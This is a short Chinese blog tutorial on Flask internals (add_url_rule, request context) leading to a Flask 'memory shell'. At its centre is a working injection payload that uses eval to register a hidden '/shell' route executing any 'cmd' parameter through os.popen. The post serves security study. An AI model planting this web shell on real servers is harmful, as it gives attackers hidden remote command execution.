文章目录
- 前言
- 前置知识
- app.add_url_rule()函数
- lambda表达式
- 正文
- 参考文章
前言
只是感觉比较好玩,索性简单学习了下,还蛮有意思
前置知识
app.add_url_rule()函数
一个简单的用法
app.add_url_rule('/index/',endpoint='index',view_func=index)
add_url_rule三个参数解释:
第一个参数:函数对应的url规则,满足条件和app.route()的第一个参数一样,必须以’/'开始
endpoint:站点,就是在使用url_for()进行反转的时候,这个里面传入的第一个参数就是这个endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值
view_func:对应的函数,即这个url对应的是哪一个函数,注意,这里函数只需要写函数名字,不要加括号,加括号表示将函数的返回值传给了view_func参数了。程序就会直接报错。
lambda表达式
菜鸟教程有,懒得写
https://www.runoob.com/python/python-functions.html
正文
通过参考文章的Flask上下文管理机制文章的学习,一开始不懂,我自己本地调试后有了一定理解,强烈建议自己跟着Flask上下文管理机制进行debug学习
当一个网页请求来以后,Flask会实例化对象app,执行__call__
,
def __call__(self, environ, start_response):
"""The WSGI server calls the Flask application object as the
WSGI application. This calls :meth:`wsgi_app` which can be
wrapped to applying middleware."""
return self.wsgi_app(environ, start_response)
返回得到一个RequestContext的对象,重点是里面有request以及session
,如下
class RequestContext(object):
def __init__(self, app, environ, request=None):
self.app = app #app = Flask对象
if request is None:
#请求的原始信息通过request_class后此时request已经存在,request.methods等
request = app.request_class(environ)
self.request = request
self.url_adapter = app.create_url_adapter(self.request)
self.flashes = None
self.session = None
在最后_request_ctx_stack.push(self)
,此时这个self即为RequestContext
对象,因此我们接下来我们分析这个payload,由于没有request,因此需要通过RequestContext
来获取
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
找到eval方法,_request_ctx_stack.top
返回RequestContext,其包含request,因此便可以利用此获取参数进行命令执行
参考文章
iceyhexman/flask_memory_shellflask–app.add_url_rule()函数 和 类视图详解
Flask上下文管理机制